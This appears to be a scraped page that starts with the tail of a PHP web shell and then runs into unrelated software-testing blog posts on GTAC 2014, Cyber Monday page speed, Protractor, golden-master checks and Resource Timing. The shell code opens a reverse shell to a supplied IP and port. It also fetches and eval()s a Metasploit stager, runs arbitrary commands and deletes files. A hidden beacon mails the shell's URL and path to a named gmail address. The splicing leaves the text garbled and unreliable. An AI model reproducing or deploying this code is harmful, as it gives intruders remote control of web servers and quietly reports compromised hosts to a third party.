value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px;"><?php echo $msg;?></div><br>
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<center><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&amp;x='netsploit'><table class='myboxtbl'><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><hr color='#4C83AF'><td><form method='POST'><table class='myboxtbl'><h2>Metasploit Connection </h2><tr><td style='width:100px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center>";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}} elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){?> 
<form action="?y=<?php echo $pwd;?>&amp;x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2">
<textarea class="output" readonly>
<?php if(isset($_POST['submitcmd'])) {echo @exe($_POST['cmd']);} ?> 
</textarea> <tr><td colspan="2"><?php echo $prompt;?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Do !" name="submitcmd" style="width:12%;" /></td></tr> </table></form> 
<?php }else{if(isset($_GET['delete']) && ($_GET['delete'] != "")){$file = $_GET['delete'];@unlink($file);} 
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){$path = $pwd.$_GET['mkdir'];@mkdir($path);}$buff = showdir($pwd,$prompt);echo $buff;}
?></div></body></html>'; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

GTAC 2014 Wrap-up

Google Testing Blog - Thu, 12/04/2014 - 17:26
by Anthony Vallone on behalf of the GTAC Committee

On October 28th and 29th, GTAC 2014, the eighth GTAC (Google Test Automation Conference), was held at the beautiful Google Kirkland office. The conference was completely packed with presenters and attendees from all over the world (Argentina, Australia, Canada, China, many European countries, India, Israel, Korea, New Zealand, Puerto Rico, Russia, Taiwan, and many US states), bringing with them a huge diversity of experiences.


Speakers from numerous companies and universities (Adobe, American Express, Comcast, Dropbox, Facebook, FINRA, Google, HP, Medidata Solutions, Mozilla, Netflix, Orange, and University of Waterloo) spoke on a variety of interesting and cutting edge test automation topics.

All of the slides and video recordings are now available on the GTAC site. Photos will be available soon as well.


This was our most popular GTAC to date, with over 1,500 applicants and almost 200 of those for speaking. About 250 people filled our venue to capacity, and the live stream had a peak of about 400 concurrent viewers with 4,700 playbacks during the event. And, there was plenty of interesting Twitter and Google+ activity during the event.


Our goal in hosting GTAC is to make the conference highly relevant and useful for, not only attendees, but the larger test engineering community as a whole. Our post-conference survey shows that we are close to achieving that goal:



If you have any suggestions on how we can improve, please comment on this post.

Thank you to all the speakers, attendees, and online viewers who made this a special event once again. To receive announcements about the next GTAC, subscribe to the Google Testing Blog.

Categories: Software Testing

The Best and Worst of Cyber Monday Web Performance

LoadStorm - Thu, 12/04/2014 - 13:19
Introduction:

How the big brand name e-commerce sites handle the heavy traffic on Cyber Monday is always of great interest to our team and our readers. So this year, we decided to run a short experiment on some of the top companies to bring you the best and the worst performers this Cyber Monday.

The 28 companies we chose to test included companies who had painful Cyber Monday crashes in previous years, companies who were running fantastic online deals, and companies that are known to have huge volumes of online holiday shopping traffic.

Experiment:

We ran WebPageTest, an open source performance testing tool, on all 28 companies. All tests were run on Chrome browsers from Dulles, VA at approximately the same times. The first set of tests were run on Wednesday, November 26, 2014 and the second set of tests were run on Cyber Monday, December 1, 2014.

As we categorized the companies based on performance, the most significant factor we considered for this article was time to first byte. Stay tuned for another article where we discuss the speed index and page load times on Cyber Monday.

The reason this article focuses on time to first byte is because it is very significantly tied to perceived load time. If a user waits several seconds and doesn’t see anything loading on the page, he or she is highly likely to abandon the website. However, even if the whole page takes over 10 seconds to load, as long as the user sees progress quickly, he or she can begin looking at the page and is much more likely to stay on the website.

Results

We have ranked the companies into five categories:

  • Excellent performance on both days
  • Moderate performance on both days
  • Poor performance on both days
  • Poor performance on Wednesday that improved on Monday
  • Moderate performance on Wednesday, poor performance on Monday
Excellent Performance Both Days

Eight companies in our study showed top performance on both Wednesday and Cyber Monday. All of the companies in this group scored an impressive A or B first byte letter score, as assigned by WebPageTest and the highest time to first byte was only 0.315 seconds- Impressive.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/89707e16831c495f990dbffb2e0dfca8?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate Performance Both Days

Seven companies had moderate performance on both Wednesday and Cyber Monday. These companies were significantly slower than the top performers, but still maintained decent speeds. These companies had scores of B’s or C’s according to WebPageTest. By our assessment, these companies maintained acceptable, but not excellent times.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/d69c953469ad4060ae4acf4c49f2b3f9?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor Performance Both Days

Five companies in our study had notable performance failures on both Monday and Wednesday. All sites in this group had over a 0.75 second time to first byte, which WebPageTest ranks as a F in their scoring system for time to first byte. Most of these sites had over a full second wait before the first byte was transferred- which is a sign that these sites were overwhelmed by the traffic load.

The level of performance in this category most likely had a significant impact on Thanksgiving and Cyber Monday sales. As we have seen proven time and again by various studies, web performance directly affects conversions. With such significant delays before seeing anything loading on the page, it is very likely that would-be customers left these websites for competitors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/18c968ab456f448181eb1297aab2f660?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor performance on Wednesday that improved on Monday

This particular category is not one that we were expecting to see at all. In fact, we initially chose to test on Wednesday as a control group to measure against Cyber Monday. However, a quick poll in our office revealed that most of us had started our online shopping early. It is my theory that these particular companies had extra servers ready for Monday, but did not expect such a heavy load of traffic on Wednesday and were therefore unprepared. It is also possible that when the companies noticed performance failures on Wednesday, they made significant changes over the weekend and then were ready for the Cyber Monday rush.

I’m sure that each of these companies has their own story of WHY their performance was poor on Wednesday and then improved by Monday, but all we can tell you is that it happened.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/a6f9763efc9845b4aefaaa915adc05a6?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate performance on Wednesday, poor performance on Monday

The previous category was a bit of a surprise to our team. This category, however, was completely expected. As we see every year, there are some companies that just struggle to handle the amount of traffic that hits on Cyber Monday. Check out the differences:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b14d5dda85264e89862500851ba56c13?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Conclusion:

Web performance is a top concern for any e-commerce business because it has been proven time and again to be directly tied to conversions. Just a one second delay in load time has been proven to cause a 7% decrease in conversions, 11% fewer page views, and a 16% decrease in customer satisfaction. With stakes so high, being prepared for the rush of traffic on Cyber Monday is a must for all e-commerce businesses.

Overall, a large portion of the sites we looked at had good web performance on these important days. Even though there are always some websites with poor performance, the general trend is that most websites included in our study were prepared for the rush of traffic.

Feel free to share your Cyber Monday online shopping experiences in the comments! Did you encounter any poor performing websites?

The post The Best and Worst of Cyber Monday Web Performance appeared first on LoadStorm.

HWTSAM – Six Years Later

Alan Page - Sun, 11/30/2014 - 11:37

We’re less than a week away from the sixth anniversary of How We Test Software at Microsoft (some chapters were completed nearly seven years ago).

Recently I was considering a new position at Microsoft, and one of my interviewers (a dev architect and also an author) said that he had been reading my book. I stated my concern that the book is horribly out of date, and that it doesn’t really reflect testing at Microsoft accurately anymore. In the ensuing discussion, he asked how I’d structure the book if I re-wrote it today. I gave him a quick brain dump – which in hindsight I believe is still accurate…and worth sharing here.

So – for those who may be curious, here’s the outline for the new (and likely never-to-be-written) edition of How We Test Software at Microsoft. For consistency with the first edition, I’m going to try to follow the original format  as much as possible.

Part 1 – About Microsoft

This section initially included chapters on Engineering at Microsoft, the role of the Tester / SDET, and Engineering Life cycles. The new edition would go into some of the changes Satya Nadella is driving across Microsoft – including flattening of organizational structures, our successes (and shortcomings) in moving to Agile methodologies across the company, and what it means to be a “Cloud First, Mobile First” company. I think I’d cover a little more of the HR side of engineering as well, including moving between teams, interviews, and career growth.

Part 1 would also dive deeply into the changes in test engineering and quality ownership, including how [combined] engineering teams work, and an intro to what testers do . This is important because it’s a big change (and one still in progress), and it sets the tone for some of the bigger changes described later in the book.

Although I don’t think I could give Marick’s Testing Quadrants the justice that Lisa Crispin and Janet Gregory (and many others) give the them, I think the quadrants (my variation presented on the left) give one view into how Microsoft teams can look at sharing quality when developers own the lions share of engineering quality (with developers generally owning the left side of the quadrant and testers generally owning the right side.

And finally, part 1 would talk about how community works within Microsoft (including quality communities, The Garage, and how we use email distribution lists and Yammer to share (or attempt to share) knowledge.

Part 2 – About Quality

Fans of the book may remember that the original name for the second  and third sections of the book were“About Testing”, and “About Test Tools and Systems” – but I think talking about quality – first from the developer perspective, and then from the quality engineer / tester perspective (along with how we use tools to make our jobs easier) is a better way to present the 2015 version of Testing at Microsoft.

I’d spend a few chapters showing examples of the developer workflow and typical tools – especially where the tools we use are available to readers of the book (e.g. unit testing and coverage tools available in Visual Studio and use of tools like SpecFlow for acceptance test development).

This section would also include some digging into analysis tools, test selection, test systems, and some of the other big pieces we use across all products and disciplines to keep the big engines running.

I didn’t talk much about how Microsoft does Exploratory Testing in the original book – I’d fix that in the second edition.

I also thought about breaking this section into “developer owned” and “testing owned” sections, but that line isn’t clear across the company (or even across organizations), so I think I’d start as a progression from unit testing to exploratory testing and let readers draw their own ideas of where their team may want to draw the line.

Part 3 – About Data Driven Quality

There’s at least a book or two of information that could go in this section, and it represents the biggest shift over the last six years. The original chapters on Customer Feedback Systems and Testing Software Plus Services hinted about how we approach Data-Driven Quality (DDQ), but our systems, and the way we use them have matured massively, and there’s definitely a lot of great information worth sharing – and enough where it’s an easy decision to dedicate a full section and several chapters to the topic.

Part 4 – About the Future

Much of what I talked about in this section of the original has either happened…or become obsolete. As in the first version, I would reserve this section for talking about engineering ideas still in the experimental stage, or ideas currently under adoption. Also, as in the original, I’d use this section as a platform for whatever essay idea chewing on me about where software engineering is going, and what it means to Microsoft.

Part 5 – Appendix

In my 20+ years of testing, I’ve read at least a hundred different books on software testing, software development, leadership, and organizational change. I’ll include a list of books that have had a significant influence on my approach and views to software engineering, publications that influenced the content of book, and publications that readers may find helpful for further information.

(potentially) related posts:
  1. HWTSAM–Five Years Later
  2. Happy Birthday HWTSAM
  3. HWTSAM – One Year Later
Categories: Software Testing

Protractor: Angular testing made easy

Google Testing Blog - Sun, 11/30/2014 - 10:50
By Hank Duan, Julie Ralph, and Arif Sukoco in Seattle

Have you worked with WebDriver but been frustrated with all the waits needed for WebDriver to sync with the website, causing flakes and prolonged test times? If you are working with AngularJS apps, then Protractor is the right tool for you.

Protractor (protractortest.org) is an end-to-end test framework specifically for AngularJS apps. It was built by a team in Google and released to open source. Protractor is built on top of WebDriverJS and includes important improvements tailored for AngularJS apps. Here are some of Protractor’s key benefits:

  • You don’t need to add waits or sleeps to your test. Protractor can communicate with your AngularJS app automatically and execute the next step in your test the moment the webpage finishes pending tasks, so you don’t have to worry about waiting for your test and webpage to sync. 
  • It supports Angular-specific locator strategies (e.g., binding, model, repeater) as well as native WebDriver locator strategies (e.g., ID, CSS selector, XPath). This allows you to test Angular-specific elements without any setup effort on your part. 
  • It is easy to set up page objects. Protractor does not execute WebDriver commands until an action is needed (e.g., get, sendKeys, click). This way you can set up page objects so tests can manipulate page elements without touching the HTML. 
  • It uses Jasmine, the framework you use to write AngularJS unit tests, and Javascript, the same language you use to write AngularJS apps.

Follow these simple steps, and in minutes, you will have you first Protractor test running:

1) Set up environment

Install the command line tools ‘protractor’ and ‘webdriver-manager’ using npm:
npm install -g protractor
Start up an instance of a selenium server:
webdriver-manager update & webdriver-manager start
This downloads the necessary binary, and starts a new webdriver session listening on http://localhost:4444.

2) Write your test
// It is a good idea to use page objects to modularize your testing logic
var angularHomepage = {
nameInput : element(by.model('yourName')),
greeting : element(by.binding('yourName')),
get : function() {
browser.get('index.html');
},
setName : function(name) {
this.nameInput.sendKeys(name);
}
};

// Here we are using the Jasmine test framework
// See http://jasmine.github.io/2.0/introduction.html for more details
describe('angularjs homepage', function() {
it('should greet the named user', function(){
angularHomepage.get();
angularHomepage.setName('Julie');
expect(angularHomepage.greeting.getText()).
toEqual('Hello Julie!');
});
});
3) Write a Protractor configuration file to specify the environment under which you want your test to run:
exports.config = {
seleniumAddress: 'http://localhost:4444/wd/hub',

specs: ['testFolder/*'],

multiCapabilities: [{
'browserName': 'chrome',
// browser-specific tests
specs: 'chromeTests/*'
}, {
'browserName': 'firefox',
// run tests in parallel
shardTestFiles: true
}],

baseUrl: 'http://www.angularjs.org',
};
4) Run the test:

Start the test with the command:
protractor conf.js
The test output should be:
1 test, 1 assertions, 0 failures

If you want to learn more, here’s a full tutorial that highlights all of Protractor’s features: http://angular.github.io/protractor/#/tutorial

Categories: Software Testing

Test Your Testing With Bug Seeding – Part 2

Eric Jacobson's Software Testing Blog - Wed, 11/26/2014 - 08:13

If you read part 1, you may be wondering how my automated check performed…

The programmer deployed the seeded bug and I’m happy to report, my automated check found it in 28 seconds! 

Afterwards, he seeded two additional bugs.  The automated check found those as well.  I had to temporarily modify the automated check code to ignore the first bug in order to find the second.  This is because the check stops checking as soon as it finds one problem.  I could tweak the code to collect problems and keep checking but I prefer the current design.

Here is the high level generic design of said check:

Build the golden masters:

  • Make scalable checks - Before test execution, build multiple golden masters per coverage ambition.  This is a one-time-only task (until the golden masters need to be updated per expected changes).
  • Bypass GUI when possible – Each of my golden masters consist of the response XML from a web service call, saved to a file.  Each XML response has over a half a million nodes, which are mapped to a complex GUI.  In my case, my automated check will bypass the GUI.  GUI automation could never have found the above seeded bug in 28 seconds.  My product-under-test takes about 1.5 minutes just to log in and navigate to the module being tested. Waiting for the GUI to refresh after the countless service calls being made in the automated check would have taken hours.
  • Golden masters must be golden! Use a known good source for the service call.  I used Production because my downstream environments are populated with data restored from production.  You could use a test environment as long as it was in a known good state.
  • Use static data - Build the golden masters using service request parameters that return a static response.  In other words, when I call said service in the future, I want the same data returned.  I used service request parameters to pull historical data because I expect it to be the same data next week, month, year, etc.
  • Automate golden master building - I wrote a utility method to build my golden masters.  This is basically re-used code from the test method, which builds the new objects to compare to the golden masters.

Do some testing:

  • Compare - This is the test method.  It calls the code-under-test using the same service request parameters used to build the golden masters.  The XML service response from the code-under-test is then compared to that of the archived golden masters, line-by-line.
  • Ignore expected changes - In my case there are some XML nodes the check ignores.  These are nodes with values I expect to differ.  For example, the CreatedDate node of the service response object will always be different from that of the golden master.
  • Report - If any non-ignored XML line is different, it’s probably a bug, fail the automated check, report the differences with line number and file (see below) references and investigate.
  • Write Files - For my goals, I have 11 different golden masters (to compare with 11 distinct service response objects).  The automated check loops through all 11 golden master scenarios, writing each service response XML to a file.  The automated check doesn’t use the files, they are there for me.  This gives me the option to manually compare suspect new files to golden masters with a diff tool, an effective way of investigating bugs and determining patterns.

Categories: Software Testing

SERIOUS CONFUSION with Resource Timing

Steve Souders - Tue, 11/25/2014 - 14:20
or “Duration includes Blocking”

Resource Timing is a great way to measure how quickly resources download. Unfortunately, almost everyone I’ve spoken with does this using the “duration” attribute and are not aware that “duration” includes blocking time. As a result, “duration” time values are (much) greater than the actual download time, giving developers unexpected results. This issue is especially bad for cross-origin resources where “duration” is the only metric available. In this post I describe the problem and a proposed solution.

Resource Timing review

The Resource Timing specification defines APIs for gathering timing metrics for each resource in a web page. It’s currently available in Chrome, Chrome for Android, IE 10-11, and Opera. You can gather a list of PerformanceEntry objects using getEntries(), getEntriesByType(), and getEntriesByName(). A PerformanceEntry has these properties:

  • name – the URL
  • entryType – typically “resource”
  • startTime – time that the resource started getting processed (in milliseconds relative to page navigation)
  • duration – total time to process the resource (in milliseconds)

The properties above are available for all resources – both same-origin and cross-origin. However, same-origin resources have additional properties available as defined by the PerformanceResourceTiming interface. They’re self-explanatory and occur pretty much in this chronological order:

  • redirectStart
  • redirectEnd
  • fetchStart
  • domainLookupStart
  • domainLookupEnd
  • connectStart
  • connectEnd
  • secureConnectionStart
  • requestStart
  • responseStart
  • responseEnd

Here’s the canonical processing model graphic that shows the different phases. Note that “duration” is equal to (responseEnd – startTime).

Take a look at my post Resource Timing Practical Tips for more information on how to use Resource Timing.

Unexpected blocking bloat in “duration”

The detailed PerformanceResourceTiming properties are restricted to same-origin resources for privacy reasons. (Note that any resource can be made “same-origin” by using the Timing-Allow-Origin response header.) About half of the resources on today’s websites are cross-origin, so “duration” is the only way to measure their load time. And even for same-origin resources, “duration” is the only delta provided, presumably because it’s the most important phase to measure. As a result, all of the Resource Timing implementations I’ve seen use “duration” as the primary performance metric.

Unfortunately, “duration” is more than download time. It also includes “blocking time” - the delay between when the browser realizes it needs to download a resource to the time that it actually starts downloading the resource. Blocking can occur in several situations. The most typical is when there are more resources than TCP connections. Most browsers only open 6 TCP connections per hostname, the exceptions being IE10 (8 connections), and IE11 (12 connections).

This Resource Timing blocking test page has 16 images, so some images incur blocking time no matter which browser is used. Each of the images is programmed on the server to have a 1 second delay. The “startTime” and “duration” are displayed for each of the 16 images. Here are WebPagetest results for this test page being loaded in ChromeIE10, and IE11. You can look at the screenshots to read the timing results. Note how “startTime” is approximately the same for all images. That’s because this is the time that the browser parsed the IMG tag and realized it needed to download the resource. But the “duration” values increase in steps of ~1 second for the images that occur later in the page. This is because they are blocked from downloading by the earlier images.

In Chrome, for example, the images are downloaded in three sets – because Chrome only downloads 6 resources at a time. The first six images have a “duration” of ~1.3 seconds (the 1 second backend delay plus some time for establishing the TCP connections and downloading the response body). The next six images have a “duration” of ~2.5 seconds. The last four images have a “duration” of ~3.7 seconds. The second set is blocked for ~1 second waiting for the first set to finish. The third set is blocked for ~2 seconds waiting for sets 1 & 2 to finish.

Even though the “duration” values increase from 1 to 2 to 3 seconds, the actual download time for all images is ~1 second as shown by the WebPagetest waterfall chart.

The results are similar for IE10 and IE11. IE10 starts with six parallel TCP connections but then ramps up to eight connections. IE11 also starts with six parallel TCP connections but then ramps up to twelve. Both IE10 and IE11 exhibit the same problem – even though the load time for every image is ~1 second, “duration” shows values ranging from 1-3 seconds.

proposal: “networkDuration”

Clearly, “duration” is not an accurate way to measure resource load times because it may include blocking time. (It also includes redirect time, but that occurs much less frequently.) Unfortunately, “duration” is the only metric available for cross-origin resources. Therefore, I’ve submitted a proposal to the W3C Web Performance mailing list to add “networkDuration” to Resource Timing. This would be available for both same-origin and cross-origin resources. (I’m flexible about the name; other candidates include “networkTime”, “loadTime”, etc.)

The calculation for “networkDuration” is as follows. (Assume ”r” is a PerformanceResourceTiming object.)

dns = r.domainLookupEnd - r.domainLookupStart; tcp = r.connectEnd - r.connectStart; // includes ssl negotiation waiting = r.responseStart - r.requestStart; content = r.responseEnd - r.responseStart; networkDuration = dns + tcp + waiting + content;

Developers working with same-origin resources can do the same calculations as shown above to derive “networkDuration”. Providing the result as a new attribute simplifies the process. It also avoids possible errors as it’s likely that companies and teams will compare these values, so it’s important to ensure an apples-to-apples comparison. But the primary need for “networkDuration” is for cross-origin resources. Right now, “duration” is the only metric available for cross-origin resources. I’ve found several teams that were tracking “duration” assuming it meant download time. They were surprised when I explained that it also including blocking time, and agreed it was not the metric they wanted; instead they wanted the equivalent of “networkDuration”.

I mentioned previously that the detailed time values (domainLookupStart, connectStart, etc.) are restricted to same-origin resources for privacy reasons. The proposal to add “networkDuration” is likely to raise privacy concerns; specifically that by removing blocking time, “networkDuration” would enable malicious third party JavaScript to determine whether a resource was read from cache. However, it’s possible to remove blocking time today using “duration” by loading a resource when there’s no blocking contention (e.g., after window.onload). Even when blocking time is removed, it’s ambiguous whether a resource was reach from cache or loaded over the network. Even a cache read will have non-zero load times.

The problem that “networkDuration” solves is finding the load time for more typical resources that are loaded during page creation and might therefore incur blocking time.

Takeaway

It’s not possible today to use Resource Timing to measure load time for cross-origin resources. Companies that want to measure load time and blocking time can use “duration”, but all the companies I’ve spoken with want to measure the actual load time (without blocking time). To provide better performance metrics, I encourage the addition of “networkDuration” to the Resource Timing specification. If you agree, please voice your support in a reply to my “networkDuration” proposal on the W3C Web Performance mailing list.

 

Categories: Software Testing

Test Your Testing With Bug Seeding – Part 1

Eric Jacobson's Software Testing Blog - Tue, 11/25/2014 - 13:24

I’m feeling quite cocky at the moment.  So cocky that I just asked my lead programmers to secretly insert a bug into the most complex area of the system under test.

Having just finished another epic automated check based on the Golden Master approach I discussed earlier, and seeing that most of the team is on pre-Thanksgiving vacation, this is the perfect time to “seed a bug”.  Theoretically, this new automated check should help put our largest source of regression bugs to rest and I am going to test it.

The programmer says he will hide the needle in the haystack by tomorrow.

I’m waiting…

Categories: Software Testing

How to get the most out of impact mapping

The Quest for Software++ - Mon, 11/17/2014 - 03:35

Ingrid Domingues, Johan Berndtsson and I met up in July this year to compare the various approaches to Impact Mapping and community feedback and investigate how to get the most out of this method in different contexts. The conclusion was that there are two key factors to consider for software delivery using impact maps, and recognising the right context is crucial to get the most out of the method. The two important dimensions are the consequences of being wrong (making the the wrong product management decisions) and the ability to make investments.

These two factors create four different contexts, and choosing the right approach is crucial in order to get the most out of the method:

  • Good ability to make investments, and small consequences of being wrong – Iterate: Organisations will benefit from taking some initial time defining the desired impact, and then exploring different solutions with small and directed impact maps that help design and evaluate deliverables against desired outcome.
  • Poor ability to decide on investments, small consequences of being wrong – Align: Organisations will benefit from detailing the user needs analysis in order to make more directed decisions, and to drive prioritisation for longer pieces of work. Usually only parts of maps end up being delivered.
  • Good ability to make investments, serious consequences of being wrong – Experiment: Organisations can explore different product options and user needs in multiple impact maps.
  • Poor ability to make investments, serious consequences of being wrong – Discover: The initial hypothesis impact map is detailed by user studies and user testing that converge towards the desired impact.

We wrote an article about this. You can read it on InfoQ.

Thoughts on the Consulting Profession

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 22:28
Sometimes I come across something that makes me realize I am the "anti" version of what I am seeing or hearing.

Recently, I saw a Facebook ad for a person's consulting course that promised high income quickly with no effort on the part of the "consultant" to actually do the work. "Everything is outsourced," he goes on to say. In his videos he shows all of his expensive collections, which include both a Ferrari and a Porsche. I'm thinking "Really?"

I'm not faulting his success or his income, but I do have a problem with the promotion of the concept that one can truly call themselves a consultant or an expert in something without actually doing the work involved. His high income is based on the markup of other people's subcontracting rates because they are the ones with the actual talent. Apparently, they just don't think they are worth what they are being billed for in the marketplace.

It does sound enticing and all, but I have learned over the years that my clients want to work with me, not someone I just contract with. I would like to have the "Four Hour Workweek", but that's just not the world I live in.

Nothing wrong with subcontracting, either. I sometimes team with other highly qualified and experienced consultants to help me on engagements where the scope is large. But I'm still heavily involved on the project.

I think of people like Gerry Weinberg or Alan Weiss who are master consultants and get their hands dirty in helping solve their client's problems. I mentioned in our webinar yesterday that I was fortunate to have read Weinberg's "Secrets of Consulting" way back in 1990 when I was first starting out on my own in software testing consulting. That book is rich in practical wisdom, as are Weiss' books. (Weiss also promotes the high income potential of consulting, but it is based on the value he personally brings to his clients.)

Without tooting my own horn too loudly, I just want to state for the record that I am a software quality and testing practitioner in my consulting and training practice. That establishes credibility with my clients and students. I do not get consulting work, only to then farm it out to sub-contractors. I don't consider that as true consulting.

True consulting is strategic and high-value. My goal is to do the work, then equip my clients to carry on - not to be around forever, as is the practice of some consulting firms. However, I'm always available to support my clients personally when they need ongoing help.

Yes, I still write test plans, work with test tools, lead teams and other detailed work so I can stay sharp technically. However, that is only one dimension of the consulting game - being able to consult and advise others because you have done it before yourself (and it wasn't all done 20 years ago).

Scott Adams, the creator of the Dilbert comic strip had a heyday with poking fun at consultants. His humor had a lot of truth in it, as did the movie "Office Space."

My point?

When choosing a consultant, look for 1) experience and knowledge in your specific area of problems (or opportunities), 2) the work ethic to actually spend time on your specific concerns, and 3) integrity and trust. All three need to be in place or you will be under-served.

Rant over and thanks for reading! I would love to hear your comments.

Randy


Categories: Software Testing

Test Automation Venus Flytrap

Eric Jacobson's Software Testing Blog - Fri, 11/14/2014 - 14:39

You’ve got this new thing to test. 

You just read about a tester who used Selenium and he looked pretty cool in his bio picture.  Come on, you could do that.  You could write an automated check for this.  As you start coding, you realize your initial vision was too ambitious so you revise it.  Even with the revised design you’re running into problems with the test stack.  You may not be able to automate the initial checks you wanted, but you can automate this other thing.  That’s something.  Besides, this is fun.  The end is in sight.  It will be so satisfying to solve this.  You need some tasks with closure in your job, right?  This automated check has a clear output.  You’ve almost cracked this thing…cut another corner and it just might work.  Success!  The test passes!  You see green!  You rule!  You’re the Henry Ford of testing!  You should wear a cape to work!

Now that your automated thingamajig is working and bug free, you can finally get back to what you were going to test.  Now what was it?

I’m not hating on test automation.  I’m just reminding myself of its intoxicating trap.  Keep your eyes open.

Categories: Software Testing

ISTQB Advanced Technical Test Analyst e-Learning Course

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 13:35




I am excited to announce the availability of my newest e-Learning course - The ISTQB Advanced Technical Test Analyst certification course. To register, just go to https://www.mysoftwaretesting.com/ISTQB_Advanced_Technical_Test_Analyst_e_Learning_p/advtta.htm
To take a free demo, just click on the demo button.





